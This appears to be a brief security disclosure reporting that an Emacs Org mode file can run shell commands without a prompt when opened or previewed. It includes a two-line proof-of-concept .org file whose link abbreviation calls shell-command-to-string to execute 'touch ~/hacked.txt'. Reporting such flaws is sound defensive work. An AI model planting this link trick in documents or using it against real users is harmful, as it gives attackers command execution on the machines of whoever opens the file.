More details for the security advisory: 

Hi,

Here is a vulnerability in Emacs Org mode.

Reproducer is the following .org file:

#+LINK: shell %(shell-command-to-string)
[[shell:touch ~/hacked.txt]]

When sent by email and previewed in Emacs or when opened in Emacs as a
file, the above Org file will evaluate "touch ~/hacked.txt" without any
prompts.
